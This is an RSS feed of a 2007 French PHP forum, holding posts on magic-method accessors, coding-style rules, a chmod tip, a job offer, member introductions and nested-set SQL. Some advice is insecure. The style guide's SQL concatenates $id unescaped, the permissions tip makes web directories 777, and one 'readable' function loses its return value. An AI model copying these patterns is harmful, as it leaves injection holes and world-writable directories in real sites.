&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $prefix = substr&#40; $_method, 0, 3 &#41;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $suffix = substr&#40; $_method, 4 &#41;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $c_attributes = count&#40; $_attributes &#41;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&#40; property_exists&#40; $this, $suffix &#41; &#41;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#123;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&#40; $prefix == 'set' && $c_attributes &#41;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#123;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return $this-&gt;set&#40; $suffix, $_attributes&#91;0&#93; &#41;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#125;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&#40; $prefix == 'get' && !$c_attributes &#41;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#123;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return $this-&gt;get&#40; $suffix &#41;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#125;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#125;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#123;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; trigger_error&#40; &quot;The method &quot;. $_method .&quot; does not exist&quot;, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; E_USER_ERROR &#41;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#125;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &#125;<br />
&#125;<br />
<br />
<br />
La classe possèdant les attributs:<br />
Code PHP :<br />
require 'utils.php'<br />
<br />
class user extends utils<br />
&#123;<br />
&nbsp; &nbsp; &nbsp; &nbsp; // Attributs<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; protected $lastname;<br />
&nbsp; &nbsp; &nbsp; &nbsp; protected $firstname;<br />
&nbsp; &nbsp; &nbsp; &nbsp; protected $age;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; // Get et Set génériques<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; public function get&#40; $_v &#41;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &#123;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return $this-&gt;$_v;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &#125;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; public function set&#40; $_v, $_a &#41;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &#123;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $this-&gt;$_v = $_a;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &#125;<br />
&#125;<br />
<br />
<br />
Création d'un objet et accès aux attributs (appel des accesseurs simulés):<br />
Code PHP :<br />
// Création d'un objet user<br />
$paul = new user&#40;&#41;;<br />
<br />
// Affectation des attributs<br />
$paul-&gt;set_lastname&#40; &quot;dupont&quot; &#41;;<br />
$paul-&gt;set_firstname&#40; &quot;arnaud&quot; &#41;;<br />
$paul-&gt;set_age&#40; 25 &#41;;<br />
<br />
// Lecture des attributs<br />
echo &quot;Nom: &quot; . $paul-&gt;get_lastname&#40;&#41; . &quot;<br />
&quot;;<br />
echo &quot;Prénom: &quot; . $paul-&gt;get_firstname&#40;&#41; . &quot;<br />
&quot;;<br />
echo &quot;Age: &quot; . $paul-&gt;get_age&#40;&#41; . &quot;<br />
&quot;;<br />
<br />
<br />
Note: La classe utils étant une classe abstraite tous les attributs privés (plutôt que protected) n'auront pas d'accesseurs simulés.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Coder pour pouvoir corriger]]></title>
			<link>http://www.c-p-f.org/forum/showthread.php?tid=78</link>
			<pubDate>Wed, 08 Aug 2007 21:39:17 +0200</pubDate>
			<guid isPermaLink="false">http://www.c-p-f.org/forum/showthread.php?tid=78</guid>
			<description><![CDATA[Très souvent, lorsque j'aide des personnes à corriger leurs scripts php, je me rend compte que le code le plus simple peut être rendu compètement illisible, donc impossible à maintenir.<br />
<br />
Voici donc des règles que je m'impose et que tout le monde devrait suivre, quel que soit le langage utilisé...<br />
<br />
1. Commenter intelligemment<br />
J'ai déjà vu des codes complètement abscons avec comme simple commentaire:<br />
// Ne pas toucher, ça marche (et c'est véridique)<br />
Un commentaire doit être logique et utile. Il ne sert à rien de de commenter une ligne du genre &#36;i++;<br />
Ca n'apporte rien à la compréhension du code et ça surcharge inutilement en faisant disparaître les commentaires utiles dans la masse.<br />
De plus, il existe une norme de documentation pour tout ce qui est fonctions et classes. Ensuite, il faut commenter les boucles (if...then...else, while...do, ...) pour savoir quand on y rentre et quand on en sort.<br />
<br />
2. Mise en forme<br />
Si la plupart des programmeurs indentent leur code, ce n'est pas pour rien: ça permet de suivre les enchaînements de manière visuelle.<br />
Mais l'indentation peut aussi être utilisée pour regrouper des données complexes comme un tableau multidimensionnel ou une requète SQL complexe.<br />
<br />
3. Eviter les raccourcis<br />
Trop de raccourcis ralenti la correction.<br />
Regardez ce premier exemple:<br />
<br />
Code PHP :<br />
function&nbsp;test(&#36;test)&nbsp;{&nbsp;&nbsp;&nbsp;return&nbsp;(is_array(&#36;test))&nbsp;?&nbsp;(array_map('test',&nbsp;&#36;test))&nbsp;:&nbsp;(stripslashes(&#36;test));}&nbsp;<br />
<br />
Il vous faudra un bon bout de temps pour trouver s'il y a une erreur dans cette fonction, ou même pour la comprendre. Alors qu'elle se lit aisémment ainsi:<br />
<br />
Code PHP :<br />
/**&nbsp;*&nbsp;Fonction&nbsp;pour&nbsp;supprimer&nbsp;les&nbsp;&#092;&nbsp;de&nbsp;protection&nbsp;*&nbsp;@param&nbsp;mixed&nbsp;&#36;test&nbsp;Variable&nbsp;(ou&nbsp;tableau&nbsp;de&nbsp;variable)&nbsp;a&nbsp;traiter&nbsp;*&nbsp;@return&nbsp;mixed&nbsp;*/function&nbsp;test(&#36;test)&nbsp;{&nbsp;&nbsp;&nbsp;if&nbsp;(is_array(&#36;test))&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;&#36;test&nbsp;est&nbsp;un&nbsp;tableau,&nbsp;on&nbsp;passe&nbsp;chaque&nbsp;ligne&nbsp;dans&nbsp;la&nbsp;fonction&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;array_map('test',&nbsp;&#36;test);&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;stripslashes(&#36;test);&nbsp;&nbsp;&nbsp;}}&nbsp;<br />
<br />
Une autre erreur de ce type est:<br />
<br />
Code PHP :<br />
&#36;test&nbsp;=&nbsp;mysql_fetch_array(mysql_query("SELECT&nbsp;t.*,&nbsp;t2.field&nbsp;FROM&nbsp;table&nbsp;t&nbsp;JOIN&nbsp;table2&nbsp;t2&nbsp;ON&nbsp;t2.pid=t.id&nbsp;WHERE&nbsp;t.id='&#36;id'"));&nbsp;<br />
<br />
Ceci est relativement simple mais si vous avez une erreur, vous ne saurez pas où elle se trouve... alors que le code suivant permet de rajouter des echo de debug:<br />
<br />
Code PHP :<br />
&#36;sql&nbsp;=&nbsp;"SELECT&nbsp;t.*,&nbsp;t2.field&nbsp;&nbsp;&nbsp;&nbsp;FROM&nbsp;table&nbsp;t&nbsp;&nbsp;&nbsp;&nbsp;JOIN&nbsp;table2&nbsp;t2&nbsp;ON&nbsp;t2.pid=t.id&nbsp;&nbsp;&nbsp;WHERE&nbsp;t.id='".&nbsp;&#36;id."'";&#36;res&nbsp;=&nbsp;mysql_query(&#36;sql)&nbsp;or&nbsp;die(mysql_error());if&nbsp;(@mysql_numrows(&#36;res)&lt;1)&nbsp;die('Aucun&nbsp;enregistrement');while&nbsp;(&#36;test&nbsp;=&nbsp;mysql_fetch_array(&#36;res))&nbsp;{&nbsp;&nbsp;&nbsp;....}&nbsp;<br />
<br />
Ce code est un peu plus poussé et permet d'afficher à chaque étape ce qui se passe.<br />
<br />
4. Séparer la logique de l'affichage<br />
Pourquoi inclure du HTML dans le PHP et vice-versa? le code y perd en lisibilité et vous risquez d'avoir des erreurs à cause d'interactions étranges...<br />
Il vaut mieux avoir un echo() qui fasse plusieurs lignes plutôt que de fermer et ouvrir les balises php ou d'utiliser les balises simplifées (]]></description>
			<content:encoded><![CDATA[Très souvent, lorsque j'aide des personnes à corriger leurs scripts php, je me rend compte que le code le plus simple peut être rendu compètement illisible, donc impossible à maintenir.<br />
<br />
Voici donc des règles que je m'impose et que tout le monde devrait suivre, quel que soit le langage utilisé...<br />
<br />
1. Commenter intelligemment<br />
J'ai déjà vu des codes complètement abscons avec comme simple commentaire:<br />
// Ne pas toucher, ça marche (et c'est véridique)<br />
Un commentaire doit être logique et utile. Il ne sert à rien de de commenter une ligne du genre &#36;i++;<br />
Ca n'apporte rien à la compréhension du code et ça surcharge inutilement en faisant disparaître les commentaires utiles dans la masse.<br />
De plus, il existe une norme de documentation pour tout ce qui est fonctions et classes. Ensuite, il faut commenter les boucles (if...then...else, while...do, ...) pour savoir quand on y rentre et quand on en sort.<br />
<br />
2. Mise en forme<br />
Si la plupart des programmeurs indentent leur code, ce n'est pas pour rien: ça permet de suivre les enchaînements de manière visuelle.<br />
Mais l'indentation peut aussi être utilisée pour regrouper des données complexes comme un tableau multidimensionnel ou une requète SQL complexe.<br />
<br />
3. Eviter les raccourcis<br />
Trop de raccourcis ralenti la correction.<br />
Regardez ce premier exemple:<br />
<br />
Code PHP :<br />
function&nbsp;test(&#36;test)&nbsp;{&nbsp;&nbsp;&nbsp;return&nbsp;(is_array(&#36;test))&nbsp;?&nbsp;(array_map('test',&nbsp;&#36;test))&nbsp;:&nbsp;(stripslashes(&#36;test));}&nbsp;<br />
<br />
Il vous faudra un bon bout de temps pour trouver s'il y a une erreur dans cette fonction, ou même pour la comprendre. Alors qu'elle se lit aisémment ainsi:<br />
<br />
Code PHP :<br />
/**&nbsp;*&nbsp;Fonction&nbsp;pour&nbsp;supprimer&nbsp;les&nbsp;&#092;&nbsp;de&nbsp;protection&nbsp;*&nbsp;@param&nbsp;mixed&nbsp;&#36;test&nbsp;Variable&nbsp;(ou&nbsp;tableau&nbsp;de&nbsp;variable)&nbsp;a&nbsp;traiter&nbsp;*&nbsp;@return&nbsp;mixed&nbsp;*/function&nbsp;test(&#36;test)&nbsp;{&nbsp;&nbsp;&nbsp;if&nbsp;(is_array(&#36;test))&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;&#36;test&nbsp;est&nbsp;un&nbsp;tableau,&nbsp;on&nbsp;passe&nbsp;chaque&nbsp;ligne&nbsp;dans&nbsp;la&nbsp;fonction&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;array_map('test',&nbsp;&#36;test);&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;stripslashes(&#36;test);&nbsp;&nbsp;&nbsp;}}&nbsp;<br />
<br />
Une autre erreur de ce type est:<br />
<br />
Code PHP :<br />
&#36;test&nbsp;=&nbsp;mysql_fetch_array(mysql_query("SELECT&nbsp;t.*,&nbsp;t2.field&nbsp;FROM&nbsp;table&nbsp;t&nbsp;JOIN&nbsp;table2&nbsp;t2&nbsp;ON&nbsp;t2.pid=t.id&nbsp;WHERE&nbsp;t.id='&#36;id'"));&nbsp;<br />
<br />
Ceci est relativement simple mais si vous avez une erreur, vous ne saurez pas où elle se trouve... alors que le code suivant permet de rajouter des echo de debug:<br />
<br />
Code PHP :<br />
&#36;sql&nbsp;=&nbsp;"SELECT&nbsp;t.*,&nbsp;t2.field&nbsp;&nbsp;&nbsp;&nbsp;FROM&nbsp;table&nbsp;t&nbsp;&nbsp;&nbsp;&nbsp;JOIN&nbsp;table2&nbsp;t2&nbsp;ON&nbsp;t2.pid=t.id&nbsp;&nbsp;&nbsp;WHERE&nbsp;t.id='".&nbsp;&#36;id."'";&#36;res&nbsp;=&nbsp;mysql_query(&#36;sql)&nbsp;or&nbsp;die(mysql_error());if&nbsp;(@mysql_numrows(&#36;res)&lt;1)&nbsp;die('Aucun&nbsp;enregistrement');while&nbsp;(&#36;test&nbsp;=&nbsp;mysql_fetch_array(&#36;res))&nbsp;{&nbsp;&nbsp;&nbsp;....}&nbsp;<br />
<br />
Ce code est un peu plus poussé et permet d'afficher à chaque étape ce qui se passe.<br />
<br />
4. Séparer la logique de l'affichage<br />
Pourquoi inclure du HTML dans le PHP et vice-versa? le code y perd en lisibilité et vous risquez d'avoir des erreurs à cause d'interactions étranges...<br />
Il vaut mieux avoir un echo() qui fasse plusieurs lignes plutôt que de fermer et ouvrir les balises php ou d'utiliser les balises simplifées (]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[Offre] Développeurs web PHP / MySQL]]></title>
			<link>http://www.c-p-f.org/forum/showthread.php?tid=77</link>
			<pubDate>Fri, 08 Jun 2007 10:07:23 +0200</pubDate>
			<guid isPermaLink="false">http://www.c-p-f.org/forum/showthread.php?tid=77</guid>
			<description><![CDATA[CLARK, agence web de 27 personnes, recherche pour accompagner son développement, deux développeurs web PHP / MySQL. <br />
<br />
STATUT: FREELANCES / CDI / CDD<br />
<br />
POSTE :<br />
Sous la responsabilité du directeur de production et du directeur technique vous assurez la conception détaillée, le développement, et la rédaction de documentations techniques d’applications en technologies PHP/MySQL. <br />
<br />
PROFIL:<br />
Vous justifiez impérativement d'une expérience sur des projets d'applicatifs web : gestion de contenus, e-commerce, extranet etc. <br />
<br />
CANDIDATURE:<br />
Réponse uniquement par email : offredev@agence-clark.com<br />
<br />
Dans votre réponse par mail, merci de communiquer directement dans le corps du mail une description de vos trois dernières missions et de votre dernier poste.]]></description>
			<content:encoded><![CDATA[CLARK, agence web de 27 personnes, recherche pour accompagner son développement, deux développeurs web PHP / MySQL. <br />
<br />
STATUT: FREELANCES / CDI / CDD<br />
<br />
POSTE :<br />
Sous la responsabilité du directeur de production et du directeur technique vous assurez la conception détaillée, le développement, et la rédaction de documentations techniques d’applications en technologies PHP/MySQL. <br />
<br />
PROFIL:<br />
Vous justifiez impérativement d'une expérience sur des projets d'applicatifs web : gestion de contenus, e-commerce, extranet etc. <br />
<br />
CANDIDATURE:<br />
Réponse uniquement par email : offredev@agence-clark.com<br />
<br />
Dans votre réponse par mail, merci de communiquer directement dans le corps du mail une description de vos trois dernières missions et de votre dernier poste.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[astuce] Gestion de droits unix]]></title>
			<link>http://www.c-p-f.org/forum/showthread.php?tid=76</link>
			<pubDate>Mon, 04 Jun 2007 14:38:57 +0200</pubDate>
			<guid isPermaLink="false">http://www.c-p-f.org/forum/showthread.php?tid=76</guid>
			<description><![CDATA[J'ai eu récemment un petit soucis sur un serveur web, j'ai du changer les droits de tout un site (assez énorme) pour que les répertoires soient en 777 (lecture, écriture et exécution pour tous) et les fichiers en 644 (lecture pour tous, écriture pour le propriétaire).<br />
<br />
La commande chmod traitant les répertoires comme des fichiers, c'est assez dur à faire, sauf en utilisant la commande find:<br />
<br />
Code :<br />
# pour modifier les permissions des fichiers dans www/ et dans ses sous-répertoires :<br />
find&nbsp;&nbsp;www -type f -exec chmod 644 {}&nbsp;&nbsp;&#92;;<br />
<br />
# pour modifier les permissions de www/ et de ses sous-répertoires eux-même :<br />
find&nbsp;&nbsp;www -type d -exec chmod 777 {}&nbsp;&nbsp;&#92;;<br />
<br />
]]></description>
			<content:encoded><![CDATA[J'ai eu récemment un petit soucis sur un serveur web, j'ai du changer les droits de tout un site (assez énorme) pour que les répertoires soient en 777 (lecture, écriture et exécution pour tous) et les fichiers en 644 (lecture pour tous, écriture pour le propriétaire).<br />
<br />
La commande chmod traitant les répertoires comme des fichiers, c'est assez dur à faire, sauf en utilisant la commande find:<br />
<br />
Code :<br />
# pour modifier les permissions des fichiers dans www/ et dans ses sous-répertoires :<br />
find&nbsp;&nbsp;www -type f -exec chmod 644 {}&nbsp;&nbsp;&#92;;<br />
<br />
# pour modifier les permissions de www/ et de ses sous-répertoires eux-même :<br />
find&nbsp;&nbsp;www -type d -exec chmod 777 {}&nbsp;&nbsp;&#92;;<br />
<br />
]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Salut CrazyCat]]></title>
			<link>http://www.c-p-f.org/forum/showthread.php?tid=75</link>
			<pubDate>Tue, 29 May 2007 14:08:54 +0200</pubDate>
			<guid isPermaLink="false">http://www.c-p-f.org/forum/showthread.php?tid=75</guid>
			<description><![CDATA[Bonjour,<br />
<br />
Je viens de mybb.fr où j'ai traduit pas mal de trucs.<br />
<br />
Je vais essayer de t'aider ici aussi dans ton superbe taf.<br />
<br />
N'ayant pas osé modifier ton wiki, je t'ai envoyé ma traduction en MP sur ce même forum...<br />
Mais je vois que tu ne l'as as encore lue.:)<br />
<br />
@+<br />
Spyto]]></description>
			<content:encoded><![CDATA[Bonjour,<br />
<br />
Je viens de mybb.fr où j'ai traduit pas mal de trucs.<br />
<br />
Je vais essayer de t'aider ici aussi dans ton superbe taf.<br />
<br />
N'ayant pas osé modifier ton wiki, je t'ai envoyé ma traduction en MP sur ce même forum...<br />
Mais je vois que tu ne l'as as encore lue.:)<br />
<br />
@+<br />
Spyto]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[cherche script]]></title>
			<link>http://www.c-p-f.org/forum/showthread.php?tid=74</link>
			<pubDate>Tue, 29 May 2007 10:46:01 +0200</pubDate>
			<guid isPermaLink="false">http://www.c-p-f.org/forum/showthread.php?tid=74</guid>
			<description><![CDATA[salut à tous<br />
<br />
je recherche un script d' annonces rencontres bien complet comme la plupart des sites de rencontres<br />
qui pourrait me faire ça et combien ça me couterait ? <br />
je trouve normal de payer la personne qui me fera ça car tout travail mérite salaire mais je suis une maman avec 4 enfants et pas riche car pas de travail voilà pourquoi j' aimerais me lancer dans un site qui me rapporterait j' espère un peu de tunes<br />
<br />
merci à tous]]></description>
			<content:encoded><![CDATA[salut à tous<br />
<br />
je recherche un script d' annonces rencontres bien complet comme la plupart des sites de rencontres<br />
qui pourrait me faire ça et combien ça me couterait ? <br />
je trouve normal de payer la personne qui me fera ça car tout travail mérite salaire mais je suis une maman avec 4 enfants et pas riche car pas de travail voilà pourquoi j' aimerais me lancer dans un site qui me rapporterait j' espère un peu de tunes<br />
<br />
merci à tous]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[coucou]]></title>
			<link>http://www.c-p-f.org/forum/showthread.php?tid=73</link>
			<pubDate>Tue, 29 May 2007 10:37:33 +0200</pubDate>
			<guid isPermaLink="false">http://www.c-p-f.org/forum/showthread.php?tid=73</guid>
			<description><![CDATA[bonjour à tous<br />
<br />
je suis carole, j' ai 39 ans, j' aime l' informatique, internet<br />
au plaisir de vous lire]]></description>
			<content:encoded><![CDATA[bonjour à tous<br />
<br />
je suis carole, j' ai 39 ans, j' aime l' informatique, internet<br />
au plaisir de vous lire]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Tests divers langages]]></title>
			<link>http://www.c-p-f.org/forum/showthread.php?tid=72</link>
			<pubDate>Tue, 29 May 2007 09:23:45 +0200</pubDate>
			<guid isPermaLink="false">http://www.c-p-f.org/forum/showthread.php?tid=72</guid>
			<description><![CDATA[Code TCL :<br />
if &#123;$test==&quot;oui&quot;&#125; &#123;return 0&#125; else &#123; return 1&#125;<br />
<br />
Code PHP :<br />
 if &#40;$test == &quot;oui&quot;&#125; &#123;return 0&#125; else &#123; return 1&#125;<br />
<br />
Code PERL :<br />
sub bare_nickname&#40;$&#41; &#123;<br />
&nbsp; $_ = $_&#91;0&#93;;<br />
&nbsp; s/^&#91;^a-zA-Z0-9&#93;+//;<br />
&nbsp; s/&#91;^a-zA-Z0-9&#93;+$//;<br />
&nbsp; $_;<br />
&#125;<br />
]]></description>
			<content:encoded><![CDATA[Code TCL :<br />
if &#123;$test==&quot;oui&quot;&#125; &#123;return 0&#125; else &#123; return 1&#125;<br />
<br />
Code PHP :<br />
 if &#40;$test == &quot;oui&quot;&#125; &#123;return 0&#125; else &#123; return 1&#125;<br />
<br />
Code PERL :<br />
sub bare_nickname&#40;$&#41; &#123;<br />
&nbsp; $_ = $_&#91;0&#93;;<br />
&nbsp; s/^&#91;^a-zA-Z0-9&#93;+//;<br />
&nbsp; s/&#91;^a-zA-Z0-9&#93;+$//;<br />
&nbsp; $_;<br />
&#125;<br />
]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Multi video]]></title>
			<link>http://www.c-p-f.org/forum/showthread.php?tid=71</link>
			<pubDate>Thu, 17 May 2007 09:53:53 +0200</pubDate>
			<guid isPermaLink="false">http://www.c-p-f.org/forum/showthread.php?tid=71</guid>
			<description><![CDATA[Report here any issue with Multi video<br />
<br />
I'm presently looking for other video providers code, as google video player.]]></description>
			<content:encoded><![CDATA[Report here any issue with Multi video<br />
<br />
I'm presently looking for other video providers code, as google video player.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[GeSHi plugin]]></title>
			<link>http://www.c-p-f.org/forum/showthread.php?tid=70</link>
			<pubDate>Thu, 17 May 2007 09:51:29 +0200</pubDate>
			<guid isPermaLink="false">http://www.c-p-f.org/forum/showthread.php?tid=70</guid>
			<description><![CDATA[Here, you can repport any issue concerning GeSHi plugin<br />
<br />
Issue already reported:<br />
<br />
Sp33d a écrit :I'm using your GeShi plugin and wrote another plugin which also support your plugin's tags.<br />
What I saw is that currently the GeShi plugin tries to convert simple URLs (like http://www.google.com) to hyperlinks, but the hyperlinks get encoded.<br />
Input:<br />
<br />
Output:<br />
<br />
Can you confirm this error?<br />
I was unable to reproduce this error on GeShis website, so it must have something to do with the plugin.<br />
Probably it is the MyBB Parser that inserts the code before calling the hook, so it needs to be stripped out before highlighting?<br />
<br />
]]></description>
			<content:encoded><![CDATA[Here, you can repport any issue concerning GeSHi plugin<br />
<br />
Issue already reported:<br />
<br />
Sp33d a écrit :I'm using your GeShi plugin and wrote another plugin which also support your plugin's tags.<br />
What I saw is that currently the GeShi plugin tries to convert simple URLs (like http://www.google.com) to hyperlinks, but the hyperlinks get encoded.<br />
Input:<br />
<br />
Output:<br />
<br />
Can you confirm this error?<br />
I was unable to reproduce this error on GeShis website, so it must have something to do with the plugin.<br />
Probably it is the MyBB Parser that inserts the code before calling the hook, so it needs to be stripped out before highlighting?<br />
<br />
]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[test mvideos]]></title>
			<link>http://www.c-p-f.org/forum/showthread.php?tid=69</link>
			<pubDate>Mon, 14 May 2007 14:31:36 +0200</pubDate>
			<guid isPermaLink="false">http://www.c-p-f.org/forum/showthread.php?tid=69</guid>
			<description><![CDATA[<br />
Exemple YouTube<br />
<br />
Exemple DailyMotion<br />
<br />
Exemple LiveLeak]]></description>
			<content:encoded><![CDATA[<br />
Exemple YouTube<br />
<br />
Exemple DailyMotion<br />
<br />
Exemple LiveLeak]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[Algoritmie] Parcours d'une hiérarchie]]></title>
			<link>http://www.c-p-f.org/forum/showthread.php?tid=68</link>
			<pubDate>Thu, 10 May 2007 10:58:18 +0200</pubDate>
			<guid isPermaLink="false">http://www.c-p-f.org/forum/showthread.php?tid=68</guid>
			<description><![CDATA[Lorsqu'on veut représenter une hiérarchie (une arborescence), la méthode la plus couramment utilisée est la structure par auto-jointure, c'est à dire avec une relation parent/enfant.<br />
<br />
Représentation graphique de l'arborescence<br />
S'il est facile de trouver le parent d'un élément ou les élements enfants de premier niveau avec des requètes simples, ça se complique énormément sitôt que l'on veut aller à des niveaux plus bas, il faut utiliser des requètes récursives qui ne peuvent pas être mises en place partout.<br />
Ce système de classification est donc à proscrire si au moins l'une des conditions ci-dessous est vérifiée:<br />
<br />
l'arbre est profond (plus de 5 niveaux)<br />
l'arbre est large (plus de 100 éléments sur un même niveau)<br />
l'arbre contient beaucoup de valeurs (à partir de 200 à 300 éléments)<br />
la majorité des requêtes sont des requêtes d'interrogation - SELECT (au moins 50% des requêtes)<br />
<br />
Il existe une seconde méthode qui nécessite un peu plus de travail pour la modélisation mais qui s'avère payante sitôt qu'on en a pris l'habitude: la représentation intervallaire.<br />
<br />
Le principe est de donner à chaque élément ses bornes "gauche" et "droite". L'attribution des valeurs de ces bornes se fait en parcourant l'arbre comme si l'on traçait une ligne pour l'entourer au plus près sans jamais croiser cette ligne avec une branche et en numérotant séquentiellement chaque feuille ou nœud une première fois par le bord gauche et une seconde fois par le bord droit.<br />
<br />
Représentation graphique de l'arborescence<br />
<br />
On peut aussi représenter cette nouvelle arborescence sous forme de "tranches":<br />
<br />
Représentation par tranches<br />
<br />
Voici la requète de création (et de remplissage) de la table représentant cette structure:<br />
Code SQL :<br />
CREATE TABLE NEW_FAMILLE &#40;<br />
&nbsp; &nbsp;NFM_BG INTEGER,<br />
&nbsp; &nbsp;NFM_BD INTEGER,<br />
&nbsp; &nbsp;NFM_LIB VARCHAR&#40;16&#41;<br />
&#41;<br />
<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;1, 44, 'Transport'&#41;<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;2, 21, 'Aérien'&#41;<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;3, 4, 'Planeur'&#41;<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;5, 6, 'Parachute'&#41;<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;7, 8, 'Hélico'&#41;<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;9, 10, 'Fusée'&#41;<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;11, 12, 'ULM'&#41;<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;13, 20, 'Avion'&#41;<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;14, 15, 'Militaire'&#41;<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;16, 17, 'Tourisme'&#41;<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;18, 19, 'Civil'&#41;<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;22, 35, 'Terrestre'&#41;<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;23, 24, 'Vélo'&#41;<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;25, 26, 'Voiture'&#41;<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;27, 28, 'Camion'&#41;<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;29, 34, 'Moto'&#41;<br />
INSERT INTO NEW_FAMILLE &#40;NFM_BG, NFM_BD, NFM_LIB&#41; VALUES &#40;30, 31, 'Side-car'&#41;<br />
